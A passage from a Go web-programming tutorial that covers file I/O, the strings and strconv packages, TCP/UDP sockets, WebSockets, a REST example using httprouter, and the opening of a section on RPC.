    os.MkdirAll("astaxie/test1/test2", 0777)
    err := os.Remove("astaxie")
    if err != nil {
        fmt.Println(err)
    }
    os.RemoveAll("astaxie")
}





47.2 Files





47.2.1 Create and open files

There are two functions for creating files:


	func Create(name string) (file *File, err Error)

Create a file with name and return a read-writable file object with permission 0666.


	func NewFile(fd uintptr, name string) *File

Create a file and return a file object.




There are also two functions to open files:


	func Open(name string) (file *File, err Error)

Opens a file called name with read-only access, calling OpenFile under the covers.


	func OpenFile(name string, flag int, perm uint32) (file *File, err Error)

Opens a file called name. flag is open mode like read-only, read-write, etc. perm are the file permissions.








47.2.2 Write files

Functions for writing files:


	func (file *File) Write(b []byte) (n int, err Error)

Write byte type content to a file.


	func (file *File) WriteAt(b []byte, off int64) (n int, err Error)

Write byte type content to a specific position of a file.


	func (file *File) WriteString(s string) (ret int, err Error)

Write a string to a file.




Code sample:

package main

import (
    "fmt"
    "os"
)

func main() {
    userFile := "astaxie.txt"
    fout, err := os.Create(userFile)        
    if err != nil {
        fmt.Println(userFile, err)
        return
    }
    defer fout.Close()
    for i := 0; i < 10; i++ {
        fout.WriteString("Just a test!\r\n")
        fout.Write([]byte("Just a test!\r\n"))
    }
}





47.2.3 Read files

Functions for reading files:


	func (file *File) Read(b []byte) (n int, err Error)

Read data to b.


	func (file *File) ReadAt(b []byte, off int64) (n int, err Error)

Read data from position off to b.




Code sample:

package main

import (
    "fmt"
    "os"
)

func main() {
    userFile := "asatxie.txt"
    fl, err := os.Open(userFile)        
    if err != nil {
        fmt.Println(userFile, err)
        return
    }
    defer fl.Close()
    buf := make([]byte, 1024)
    for {
        n, _ := fl.Read(buf)
        if 0 == n {
            break
        }
        os.Stdout.Write(buf[:n])
    }
}





47.2.4 Delete files

Go uses the same function for removing files and directories:


	func Remove(name string) Error

Remove a file or directory called name.( *** a name ending with / signifies that it’s a directory*** )








47.3 Links


	Directory

	Previous section: Templates

	Next section: Strings







48 7.6 Strings

On the web, almost everything we see (including user inputs, database access, etc.), is represented by strings. They are a very important part of web development. In many cases, we also need to split, join, convert and otherwise manipulate strings. In this section, we are going to introduce the strings and strconv packages from the Go standard library.





48.1 strings

The following functions are from the strings package. See the official documentation for more details:


	func Contains(s, substr string) bool

Check if string s contains string substr, returns a boolean value.

fmt.Println(strings.Contains("seafood", "foo"))
fmt.Println(strings.Contains("seafood", "bar"))
fmt.Println(strings.Contains("seafood", ""))
fmt.Println(strings.Contains("", ""))

//Output:
//true
//false
//true
//true


	func Join(a []string, sep string) string

Combine strings from slice with separator sep.

s := []string{"foo", "bar", "baz"}
fmt.Println(strings.Join(s, ", "))
//Output:foo, bar, baz      


	func Index(s, sep string) int

Find index of sep in string s, returns -1 if it’s not found.

fmt.Println(strings.Index("chicken", "ken"))
fmt.Println(strings.Index("chicken", "dmr"))
//Output:4
//-1


	func Repeat(s string, count int) string

Repeat string s count times.

fmt.Println("ba" + strings.Repeat("na", 2))
//Output:banana


	func Replace(s, old, new string, n int) string

Replace string old with string new in string s. n is the number of replacements. If n is less than 0, replace all instances.

fmt.Println(strings.Replace("oink oink oink", "k", "ky", 2))
fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1))
//Output:oinky oinky oink
//moo moo moo


	func Split(s, sep string) []string

Split string s with separator sep into a slice.

fmt.Printf("%q\n", strings.Split("a,b,c", ","))
fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a "))
fmt.Printf("%q\n", strings.Split(" xyz ", ""))
fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins"))
//Output:["a" "b" "c"]
//["" "man " "plan " "canal panama"]
//[" " "x" "y" "z" " "]
//[""]


	func Trim(s string, cutset string) string

Remove cutset of string s if it’s leftmost or rightmost.

fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! "))
Output:["Achtung"]


	func Fields(s string) []string

Remove space items and split string with space into a slice.

fmt.Printf("Fields are: %q", strings.Fields("  foo bar  baz   "))
//Output:Fields are: ["foo" "bar" "baz"]








48.2 strconv

The following functions are from the strconv package. As usual, please see official documentation for more details:


	Append series, convert data to string, and append to current byte slice.

package main

import (
    "fmt"
    "strconv"
)

func main() {
    str := make([]byte, 0, 100)
    str = strconv.AppendInt(str, 4567, 10)
    str = strconv.AppendBool(str, false)
    str = strconv.AppendQuote(str, "abcdefg")
    str = strconv.AppendQuoteRune(str, '单')
    fmt.Println(string(str))
}


	Format series, convert other data types into string.

package main

import (
    "fmt"
    "strconv"
)

func main() {
    a := strconv.FormatBool(false)
    b := strconv.FormatFloat(123.23, 'g', 12, 64)
    c := strconv.FormatInt(1234, 10)
    d := strconv.FormatUint(12345, 10)
    e := strconv.Itoa(1023)
    fmt.Println(a, b, c, d, e)
}


	Parse series, convert strings to other types.

package main

import (
    "fmt"
    "strconv"
)

func main() {
    a, err := strconv.ParseBool("false")
    if err != nil {
        fmt.Println(err)
    }
    b, err := strconv.ParseFloat("123.23", 64)
    if err != nil {
        fmt.Println(err)
    }
    c, err := strconv.ParseInt("1234", 10, 64)
    if err != nil {
        fmt.Println(err)
    }
    d, err := strconv.ParseUint("12345", 10, 64)
    if err != nil {
        fmt.Println(err)
    }
    e, err := strconv.Itoa("1023")
    if err != nil {
        fmt.Println(err)
    }
    fmt.Println(a, b, c, d, e)
}








48.3 Links


	Directory

	Previous section: Files

	Next section: Summary







49 7.7 Summary

In this chapter, we introduced some text processing tools like XML, JSON, Regexp and we also talked about templates. XML and JSON are data exchange tools. You can represent almost any kind of information using these two formats. Regexp is a powerful tool for searching, replacing and cutting text content. With templates, you can easily combine dynamic data with static files. These tools are all useful when developping web applications. I hope that you now have a better understanding of processing and showing content using Go.





49.1 Links


	Directory

	Previous section: Strings

	Next chapter: Web services







50 8 Web services

Web services allow you use formats like XML or JSON to exchange information through HTTP. For example, if you want to know the weather in Shanghai tomorrow, the current share price of Apple, or product information on Amazon, you can write a piece of code to fetch that information from open platforms. In Go, this process can be comparable to calling a local function and getting its return value.

The key point is that web services are platform independent. This allows you to deploy your applications on Linux and interact with ASP.NET applications in Windows, for example, just like you wouldn’t have a problem interacting with JSP on FreeBSD either.

The REST architecture and SOAP protocol are the most popular styles in which web services can be implemented these days:


	REST requests are pretty straight forward because it’s based on HTTP. Every REST request is actually an HTTP request, and servers handle requests using different methods. Because many developers are familiar with HTTP already, REST should feel like it’s already in their back pockets. We are going to show you how to implement REST in Go in section 8.3.

	SOAP is a standard for cross-network information transmission and remote computer function calls, launched by W3C. The problem with SOAP is that its specification is very long and complicated, and it’s still getting longer. Go believes that things should be simple, so we’re not going to talk about SOAP. Fortunately, Go provides support for RPC (Remote Procedure Calls) which has good performance and is easy to develop with, so we will introduce how to implement RPC in Go in section 8.4.



Go is the C language of the 21st century, aspiring to be simple yet performant. With these qualities in mind, we’ll introduce you to socket programming in Go in section 8.1. Nowadays, many real-time servers use sockets to overcome the low performance of HTTP. Along with the rapid development of HTML5, websockets are now used by many web based game companies, and we will talk about this more in section 8.2.





50.1 Links


	Directory
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51 8.1 Sockets

Some network application developers say that the lower application layers are all about socket programming. This may not be true for all cases, but many modern web applications do indeed use sockets to their advantage. Have you ever wondered how browsers communicate with web servers when you are surfing the internet? Or How MSN connects you and your friends together in a chatroom, relaying each message in real-time? Many services like these use sockets to transfer data. As you can see, sockets occupy an important position in network programming today, and we’re going to learn about using sockets in Go in this section.





51.1 What is a socket？

Sockets originate from Unix, and given the basic “everything is a file” philosophy of Unix, everything can be operated on with “open -> write/read -> close”. Sockets are one implementation of this philosophy. Sockets have a function call for opening a socket just like you would open a file. This returns an int descriptor of the socket which can then be used for operations like creating connections, transferring data, etc.

Two types of sockets that are commonly used are stream sockets (SOCK_STREAM) and datagram sockets (SOCK_DGRAM). Stream sockets are connection-oriented like TCP, while datagram sockets do not establish connections, like UDP.





51.2 Socket communication

Before we understand how sockets communicate with one another, we need to figure out how to make sure that every socket is unique, otherwise establishing a reliable communication channel is already out of the question. We can give every process a unique PID which serves our purpose locally, however that’s not able to work over a network. Fortunately, TCP/IP helps us solve this problem. The IP addresses of the network layer are unique in a network of hosts, and “protocol + port” is also unique among host applications. So, we can use these principles to make sockets which are unique.
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Figure 8.1 network protocol layers

Applications that are based on TCP/IP all use socket APIs in their code in one way or another. Given that networked applications are becoming more and more prevalent in the modern day, it’s no wonder some developers are saying that “everything is about sockets”.





51.3 Socket basic knowledge

We know that sockets have two types, which are TCP sockets and UDP sockets. TCP and UDP are protocols and, as mentioned, we also need an IP address and port number to have a unique socket.





51.3.1 IPv4

The global internet uses TCP/IP as its protocol, where IP is the network layer and a core part of TCP/IP. IPv4 signifies that its version is 4; infrastructure development to date has spanned over 30 years.

The number of bits in an IPv4 address is 32, which means that 2^32 devices are able to uniquely connect to the internet. Due to the rapid develop of the internet, IP addresses are already running out of stock in recent years.

Address format:127.0.0.1, 172.122.121.111.





51.3.2 IPv6

IPv6 is the next version or next generation of the internet. It’s being developed for solving many of the problems inherent with IPv4. Devices using IPv6 have an address that’s 128 bits long, so we’ll never need to worry about a shortage of unique addresses. To put this into perspective, you could have more than 1000 IP addresses for every square meter on earth with IPv6. Other problems like peer to peer connection, service quality (QoS), security, multiple broadcast, etc., are also be improved.

Address format: 2002:c0e8:82e7:0:0:0:c0e8:82e7.





51.3.3 IP types in Go

The net package in Go provides many types, functions and methods for network programming. The definition of IP as follows:

type IP []byte

Functions ParseIP(s string) IP is for converting an IP from the IPv4 format into IPv6:

package main
import (
    "net"
    "os"
    "fmt"
)
func main() {
    if len(os.Args) != 2 {
        fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0])
        os.Exit(1)
    }
    name := os.Args[1]
    addr := net.ParseIP(name)
    if addr == nil {
        fmt.Println("Invalid address")
    } else {
        fmt.Println("The address is ", addr.String())
    }
    os.Exit(0)
}

It returns the corresponding IP format for a given IP address.





51.4 TCP socket

What can we do when we know how to visit a web service through a network port? As a client, we can send a request to an appointed network port and gets its response; as a server, we need to bind a service to an appointed network port, wait for clients’ requests and supply a response.

In Go’s net package, there’s a type called TCPConn that facilitates this kind of clients/servers interaction. This type has two key functions:

func (c *TCPConn) Write(b []byte) (n int, err os.Error)
func (c *TCPConn) Read(b []byte) (n int, err os.Error)

TCPConn can be used by either client or server for reading and writing data.

We also need a TCPAddr to represent TCP address information:

type TCPAddr struct {
    IP IP
    Port int
}

We use the ResolveTCPAddr function to get a TCPAddr in Go:

func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error)


	Arguments of net can be one of “tcp4”, “tcp6” or “tcp”, which each signify IPv4-only, IPv6-only, and either IPv4 or IPv6, respectively.

	addr can be a domain name or IP address, like “www.google.com:80” or “127.0.0.1:22”.







51.4.1 TCP client

Go clients use the DialTCP function in the net package to create a TCP connection, which returns a TCPConn object; after a connection is established, the server has the same type of connection object for the current connection, and client and server can begin exchanging data with one another. In general, clients send requests to servers through a TCPConn and receive information from the server response; servers read and parse client requests, then return feedback. This connection will remain valid until either the client or server closes it. The function for creating a connection is as follows:

func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err os.Error)


	Arguments of net can be one of “tcp4”, “tcp6” or “tcp”, which each signify IPv4-only, IPv6-only, and either IPv4 or IPv6, respectively.

	laddr represents the local address, set it to nil in most cases.

	raddr represents the remote address.



Let’s write a simple example to simulate a client requesting a connection to a server based on an HTTP request. We need a simple HTTP request header:

"HEAD / HTTP/1.0\r\n\r\n"

Server response information format may look like the following:

HTTP/1.0 200 OK
ETag: "-9985996"
Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT
Content-Length: 18074
Connection: close
Date: Sat, 28 Aug 2010 00:43:48 GMT
Server: lighttpd/1.4.23

Client code:

package main

import (
    "fmt"
    "io/ioutil"
    "net"
    "os"
)

func main() {
    if len(os.Args) != 2 {
        fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0])
        os.Exit(1)
    }
    service := os.Args[1]
    tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
    checkError(err)
    conn, err := net.DialTCP("tcp", nil, tcpAddr)
    checkError(err)
    _, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n"))
    checkError(err)
    result, err := ioutil.ReadAll(conn)
    checkError(err)
    fmt.Println(string(result))
    os.Exit(0)
}
func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
        os.Exit(1)
    }
}

In the above example, we use user input as the service argument of net.ResolveTCPAddr to get a tcpAddr. Passing tcpAddr to the DialTCP function, we create a TCP connection, conn. We can then use conn to send request information to the server. Finally, we use ioutil.ReadAll to read all the content from conn, which contains the server response.





51.4.2 TCP server

We have a TCP client now. We can also use the net package to write a TCP server. On the server side, we need to bind our service to a specific inactive port and listen for any incoming client requests.

func ListenTCP(net string, laddr *TCPAddr) (l *TCPListener, err os.Error)
func (l *TCPListener) Accept() (c Conn, err os.Error)

The arguments required here are identical to those required by the DialTCP function we used earlier. Let’s implement a time syncing service using port 7777:

package main

import (
    "fmt"
    "net"
    "os"
    "time"
)

func main() {
    service := ":7777"
    tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
    checkError(err)
    listener, err := net.ListenTCP("tcp", tcpAddr)
    checkError(err)
    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        daytime := time.Now().String()
        conn.Write([]byte(daytime)) // don't care about return value
        conn.Close()                // we're finished with this client
    }
}
func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
        os.Exit(1)
    }
}

After the service is started, it waits for client requests. When it receives a client request, it Accepts it and returns a response to the client containing information about the current time. It’s worth noting that when errors occur in the for loop, the service continues running instead of exiting. Instead of crashing, the server will record the error to a server error log.

The above code is still not good enough, however. We didn’t make use of goroutines, which would have allowed us to accept simultaneous requests. Let’s do this now:

package main

import (
    "fmt"
    "net"
    "os"
    "time"
)

func main() {
    service := ":1200"
    tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
    checkError(err)
    listener, err := net.ListenTCP("tcp", tcpAddr)
    checkError(err)
    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        go handleClient(conn)
    }
}

func handleClient(conn net.Conn) {
    defer conn.Close()
    daytime := time.Now().String()
    conn.Write([]byte(daytime)) // don't care about return value
    // we're finished with this client
}
func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
        os.Exit(1)
    }
}

By separating out our business process from the handleClient function, and by using the go keyword, we’ve already implemented concurrency in our service. This is a good demonstration of the power and simplicity of goroutines.

Some of you may be thinking the following: this server does not do anything meaningful. What if we needed to send multiple requests for different time formats over a single connection? How would we do that?

package main

import (
    "fmt"
    "net"
    "os"
    "time"
    "strconv"
)

func main() {
    service := ":1200"
    tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
    checkError(err)
    listener, err := net.ListenTCP("tcp", tcpAddr)
    checkError(err)
    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        go handleClient(conn)
    }
}

func handleClient(conn net.Conn) {
    conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set 2 minutes timeout
    request := make([]byte, 128) // set maximum request length to 128B to prevent flood based attacks
    defer conn.Close()  // close connection before exit
    for {
        read_len, err := conn.Read(request)

        if err != nil {
            fmt.Println(err)
            break
        }

        if read_len == 0 {
            break // connection already closed by client
        } else if string(request) == "timestamp" {
            daytime := strconv.FormatInt(time.Now().Unix(), 10)
            conn.Write([]byte(daytime))
        } else {
            daytime := time.Now().String()
            conn.Write([]byte(daytime)) 
        }

        request = make([]byte, 128) // clear last read content
    }
}

func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
        os.Exit(1)
    }
}

In this example, we use conn.Read() to constantly read client requests. We cannot close the connection because clients may issue more than one request. Due to the timeout we set using conn.SetReadDeadline(), the connection closes automatically when a client has not sent a request within our allotted time period. When then expiry time has elapsed, our program breaks from the for loop. Notice that request needs to be created with a max size limitation in order to prevent flood attacks. FInally, we clean the request array after processing every request, since conn.Read() appends new content to the array instead of rewriting it.





51.4.3 Controlling TCP connections

Controlling TCP functions:

func DialTimeout(net, addr string, timeout time.Duration) (Conn, error)

Setting the timeout of connections. These are suitable for use on both clients and servers:

func (c *TCPConn) SetReadDeadline(t time.Time) error
func (c *TCPConn) SetWriteDeadline(t time.Time) error

Setting the write/read timeout of one connection:

func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error

It’s worth taking some time to think about how long you want your connection timeouts to be. Long connections can reduce the amount of overhead involved in creating connections and are good for applications that need to exchange data frequently.

For more detailed information, just look up the official documentation for Go’s net package .





51.5 UDP sockets

The only difference between a UDP socket and a TCP socket is the processing method for dealing with multiple requests on server side. This arises from the fact that UDP does not have a function like Accept. All of the other functions have UDP counterparts; just replace TCP with UDP in the functions mentioned above.

func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error)
func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error)
func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error)
func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error
func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error)

UDP client code sample:

package main

import (
    "fmt"
    "net"
    "os"
)

func main() {
    if len(os.Args) != 2 {
        fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0])
        os.Exit(1)
    }
    service := os.Args[1]
    udpAddr, err := net.ResolveUDPAddr("udp4", service)
    checkError(err)
    conn, err := net.DialUDP("udp", nil, udpAddr)
    checkError(err)
    _, err = conn.Write([]byte("anything"))
    checkError(err)
    var buf [512]byte
    n, err := conn.Read(buf[0:])
    checkError(err)
    fmt.Println(string(buf[0:n]))
    os.Exit(0)
}
func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error ", err.Error())
        os.Exit(1)
    }
}

UDP server code sample:

package main

import (
    "fmt"
    "net"
    "os"
    "time"
)

func main() {
    service := ":1200"
    udpAddr, err := net.ResolveUDPAddr("udp4", service)
    checkError(err)
    conn, err := net.ListenUDP("udp", udpAddr)
    checkError(err)
    for {
        handleClient(conn)
    }
}
func handleClient(conn *net.UDPConn) {
    var buf [512]byte
    _, addr, err := conn.ReadFromUDP(buf[0:])
    if err != nil {
        return
    }
    daytime := time.Now().String()
    conn.WriteToUDP([]byte(daytime), addr)
}
func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error ", err.Error())
        os.Exit(1)
    }
}





51.6 Summary

Through describing and coding some simple programs using TCP and UDP sockets, we can see that Go provides excellent support for socket programming, and that they are fun and easy to use. Go also provides many functions for building high performance socket applications.





51.7 Links


	Directory

	Previous section: Web services

	Next section: WebSocket







52 8.2 WebSockets

WebSockets are an important feature of HTML5. It implements browser based remote sockets, which allows browsers to have full-duplex communications with servers. Main stream browsers like Firefox, Google Chrome and Safari provide support for this WebSockets.

People often used “roll polling” for instant messaging services before WebSockets were born, which allow clients to send HTTP requests periodically. The server then returns the latest data to clients. The downside to this method is that it requires clients to keep sending many requests to the server, which can consume a large amount of bandwidth.

WebSockets use a special kind of header that reduces the number of handshakes required between browser and server to only one, for establishing a connection. This connection will remain active throughout its lifetime, and you can use JavaScript to write or read data from this connection, as in the case of a conventional TCP sockets. It solves many of the headache involved with real-time web development, and has the following advantages over traditional HTTP:


	Only one TCP connection for a single web client.

	WebSocket servers can push data to web clients.

	Lightweight header to reduce data transmission overhead.



WebSocket URLs begin with ws:// or wss://(SSL). The following figure shows the communication process of WebSockets. A particular HTTP header is sent to the server as part of the handshaking protocol and the connection is established. Then, servers or clients are able to send or receive data through JavaScript via WebSocket. This socket can then be used by an event handler to receive data asynchronously.
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Figure 8.2 WebSocket principl





52.1 WebSocket principles

The WebSocket protocol is actually quite simple. After successfully completing the initial handshake, a connection is established. Subsequent data communications will all begin with “\x00” and end with “\xFF”. This prefix and suffix will be visible to clients because the WebSocket will break off both end, yielding the raw data automatically.

WebSocket connections are requested by browsers and responded to by servers, after which the connection is established. This process is often called “handshaking”.

Consider the following requests and responses:
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Figure 8.3 WebSocket request and response.

“Sec-WebSocket-key” is generated randomly, as you may have already guessed, and it’s base64 encoded. Servers need to append this key to a fixed string after accepting a request:

258EAFA5-E914-47DA-95CA-C5AB0DC85B11

Suppose we have f7cb4ezEAl6C3wRaU6JORA==, then we have:

f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11

Use sha1 to compute the binary value and use base64 to encode it. We will then we have:

rE91AJhfC+6JdVcVXOGJEADEJdQ=

Use this as the value of the Sec-WebSocket-Accept response header.





52.2 WebSocket in Go

The Go standard library does not support WebSockets. However the websocket package, which is a sub-package of go.net does, and is officially maintained and supported.

Use go get to install this package:

go get code.google.com/p/go.net/websocket

WebSockets have both client and server sides. Let’s see a simple example where a user inputs some information on the client side and sends it to the server through a WebSocket, followed by the server pushing information back to the client.

Client code:

<html>
<head></head>
<body>
    <script type="text/javascript">
        var sock = null;
        var wsuri = "ws://127.0.0.1:1234";

        window.onload = function() {

            console.log("onload");

            sock = new WebSocket(wsuri);

            sock.onopen = function() {
                console.log("connected to " + wsuri);
            }

            sock.onclose = function(e) {
                console.log("connection closed (" + e.code + ")");
            }

            sock.onmessage = function(e) {
                console.log("message received: " + e.data);
            }
        };

        function send() {
            var msg = document.getElementById('message').value;
            sock.send(msg);
        };
    </script>
    <h1>WebSocket Echo Test</h1>
    <form>
        <p>
            Message: <input id="message" type="text" value="Hello, world!">
        </p>
    </form>
    <button onclick="send();">Send Message</button>
</body>
</html>

As you can see, it’s very easy to use the client side JavaScript functions to establish a connection. The onopen event gets triggered after successfully completing the aforementioned handshaking process. It tells the client that the connection has been created successfully. Clients attempting to open a connection typically bind to four events:


	1）onopen: triggered after connection has been established.

	2）onmessage: triggered after receiving a message.

	3）onerror: triggered after an error has occurred..

	4）onclose: triggered after the connection has closed.



Server code:

package main

import (
    "golang.org/x/net/websocket"
    "fmt"
    "log"
    "net/http"
)

func Echo(ws *websocket.Conn) {
    var err error

    for {
        var reply string

        if err = websocket.Message.Receive(ws, &reply); err != nil {
            fmt.Println("Can't receive")
            break
        }

        fmt.Println("Received back from client: " + reply)

        msg := "Received:  " + reply
        fmt.Println("Sending to client: " + msg)

        if err = websocket.Message.Send(ws, msg); err != nil {
            fmt.Println("Can't send")
            break
        }
    }
}

func main() {
    http.Handle("/", websocket.Handler(Echo))

    if err := http.ListenAndServe(":1234", nil); err != nil {
        log.Fatal("ListenAndServe:", err)
    }
}

When a client Sends user input information, the server Receives it, and uses Send once again to return a response.
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Figure 8.4 WebSocket server received information.

Through the example above, we can see that the client and server side implementation of WebSockets is very convenient. We can use the net package directly in Go. With the rapid development of HTML5, I think that WebSockets will take on a much more important role in modern day web development; we should all be at least a little bit familiar with them.





52.3 Links


	Directory

	Previous section: Sockets

	Next section: REST







53 8.3 REST

REST is the most popular software architecture on the internet today because it is founded on well defined, strict standards and it’s easy to understand and expand. mOre and more websites are basing their designs on to top of it. In this section, we are going to have a close look at implementing the REST architecture in Go and (hopefully) learn how to leverage it to our benefit.





53.1 What is REST?

The first declaration of the concept of REST (REpresentational State Transfer) was in the year 2000 in Roy Thomas Fielding’s doctoral dissertation, who is also just happens to be the co-founder of the HTTP protocol. It specifies the architecture’s constraints and principles and anything implemented with architecture can be called a RESTful system.

Before we understand what REST is, we need to cover the following concepts:


	Resources

REST is the Presentation Layer State Transfer, where the presentation layer is actually the resource presentation layer.

So what are resources? Pictures, documents or videos, etc., are all examples of resources and can be located by URI.


	Representation

Resources are specific information entities that can be shown in a variety of ways within the presentation layer. For instance, a TXT document can be represented as HTML, JSON, XML, etc; an image can be represented as jpg, png, etc.

URIs are used to identify resources, but how do we determine its specific manifestations? You should the Accept and Content-Type in an HTTP request header; these two fields describe the presentation layer.


	State Transfer

An interactive process is initiated between client and server each time you visit any page of a website. During this process, certain data related to the current page state need to be saved. However, you’ll recall that HTTP is a stateless protocol! It’s obvious that we need to save this client state on our server side. It follows that if a client modifies some data and wants to persist the changes, there must be a way to inform the server side about the new state.

Most of the time, clients inform servers of state changes using HTTP. They have four operations with which to do this:

-GET is used to obtain resources

-POSTs is used to create or update resources

-PUT updates resources

-DELETE deletes resources




To summarize the above:


	（1）Every URI reresents a resource.

	（2）There is a representation layer for transferring resources between clients and servers.

	（3）Clients use four HTTP methods to implement “Presentation Layer State Transfer”, allowing them to operate on remote resources.



The most important principle of web applications that implement REST is that the interaction between clients and servers are stateless; every request should encapsulate all of the required information. Servers should be able to restart at anytime without the clients being notified. In addition, requests can be responded by any server of the same service, which is ideal for cloud computing. Lastly, because it’s stateless, clients can cache data for improving performance.

Another important principle of REST is system delamination, which means that components in one layer have no way of interacting directly with components in other layers. This can limit system complexity and encourage independence in the underlying components.
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Figure 8.5 REST architecture

When RESTful constraints are judiciously abided by, web applications can be scaled to accommodate massive numbers of clients. Using the REST architecture can also help reduce delays between clients and servers, simplify system architecture and improve the visibility of sub-system end points.
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Figure 8.6 REST’s expansibility.





53.2 RESTful implementation

Go doesn’t have direct support for REST, but since RESTful web applications are all HTTP-based, we can use the net/http package to implement it on our own. Of course, we will first need to make some modifications before we are able to fully implement REST.

REST uses different methods to handle resources, depending on the interaction that’s required with that resource. Many existing applications claim to be RESTful but they do not actually implement REST. I’m going to categorize these applications into several levels depends on which HTTP methods they implement.
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Figure 8.7 REST’s level.

The picture above shows three levels that are currently implemented in REST. You may not choose to follow all the rules and constraints of REST when developping your own applications because sometimes its rules are not a good fit for all situations. RESTful web applications use every single HTTP method including DELETE and PUT, but in many cases, HTTP clients can only send GET and POST requests.


	HTML standard allows clients send GET and POST requests through links and forms. It’s not possible to send PUT or DELETE requests without AJAX support.

	Some firewalls intercept PUT and DELETE requests and clients have to use POST in order to implement them. Fully RESTful services are in charge of finding the original HTTP methods and restoring them.



We can simulate PUT and DELETE requests by adding a hidden _method field in our POST requests, however these requests must be converted on the server side before they are processed. My personal applications use this workflow to implement REST interfaces. Standard RESTful interfaces are easily implemented in Go, as the following example demonstrates:


    package main

    import (
        "fmt"
        "github.com/julienschmidt/httprouter"
        "log"
        "net/http"
    )

    func Index(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {
        fmt.Fprint(w, "Welcome!\n")
    }

    func Hello(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
        fmt.Fprintf(w, "hello, %s!\n", ps.ByName("name"))
    }

    func getuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
        uid := ps.ByName("uid")
        fmt.Fprintf(w, "you are get user %s", uid)
    }

    func modifyuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
        uid := ps.ByName("uid")
        fmt.Fprintf(w, "you are modify user %s", uid)
    }

    func deleteuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
        uid := ps.ByName("uid")
        fmt.Fprintf(w, "you are delete user %s", uid)
    }

    func adduser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {
        // uid := r.FormValue("uid")
        uid := ps.ByName("uid")
        fmt.Fprintf(w, "you are add user %s", uid)
    }

    func main() {
        router := httprouter.New()
        router.GET("/", Index)
        router.GET("/hello/:name", Hello)

        router.GET("/user/:uid", getuser)
        router.POST("/adduser/:uid", adduser)
        router.DELETE("/deluser/:uid", deleteuser)
        router.PUT("/moduser/:uid", modifyuser)

        log.Fatal(http.ListenAndServe(":8080", router))
    }


This sample code shows you how to write a very basic REST application. Our resources are users, and we use different functions for different methods. Here, we imported a third-party package called github.com/julienschmidt/httprouter. We’ve already covered how to implement a custom router in previous chapters -the julienschmidt/httprouter package implements some very convenient router mapping rules that make it very convenient for implementing RESTful architecture. As you can see, REST requires you to implement different logic for different HTTP methods of the same resource.





53.3 Summary

REST is a style of web architecture, building on past successful experiences with WWW: statelessness, resource-centric, full use of HTTP and URI protocols and the provision of unified interfaces. These superior design considerations has allowed REST to become the most popular web services standard. In a sense, by emphasizing the URI and leveraging early Internet standards such as HTTP, REST has paved the way for large and scalable web applications. Currently, the support that Go has For REST is still very basic. However, by implementing custom routing rules and different request handlers for each type of HTTP request, we can achieve RESTful architecture in our Go webapps.





53.4 Links


	Directory

	Previous section: WebSocket

	Next section: RPC







54 8.4 RPC

In previous sections we talked about how to write network applications based on Sockets and HTTP. We learned that both of them use the “information exchange” model, in which clients send requests and servers respond to them. This kind of data exchange is based on a specific format so that both sides are able to communicate with one another. However, many independent applications do not use this model, but instead call services just like they would call normal functions.

RPC was intended to be the function call mode for networked systems. Clients execute RPCs like they call native functions, except they package the function parameters and send them through the network to the server. The server can then unpack these parameters and process the request, executing the results back to the client.

In computer science, a remote procedure call (RPC) is a type of inter-process communication that allows a computer program to cause a subroutine or procedure to execute in another address space (commonly on another computer on a shared network) without the programmer explicitly coding the details for this remote interaction. That is, the programmer writes essentially the same code whether the subroutine is local to the executing program, or remote. When the software in question uses object-oriented principles, RPC is called remote invocation or remote method invocation.





54.1 RPC working principle
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Figure 8.8 RPC working principle

Normally, an RPC call from client to server has the following ten steps:


	
	Call the client handle, execute transfer arguments.




	
	Call local system kernel to send network messages.




	
	Send messages to remote hosts.




	
	The server receives handle and arguments.




	
	Execute remote processes.




	
	Return execution result to corresponding handle.




	
	The server handle calls remote system kernel.




	
	Messages sent back to local system kernel.




	
	The client handle receives messages from system kernel.




	
	The client gets results from corresponding handle.










54.2 Go RPC

Go has official support for RPC in its standard library on three levels, which are TCP, HTTP and JSON RPC. Note that Go RPC is not like other traditional RPC systems. It requires you to use Go applications on both client and server sides because it encodes content using Gob.

Functions of Go RPC have must abide by the following rules for remote access, otherwise the corresponding calls will be ignored.


	Functions are exported (capitalize).

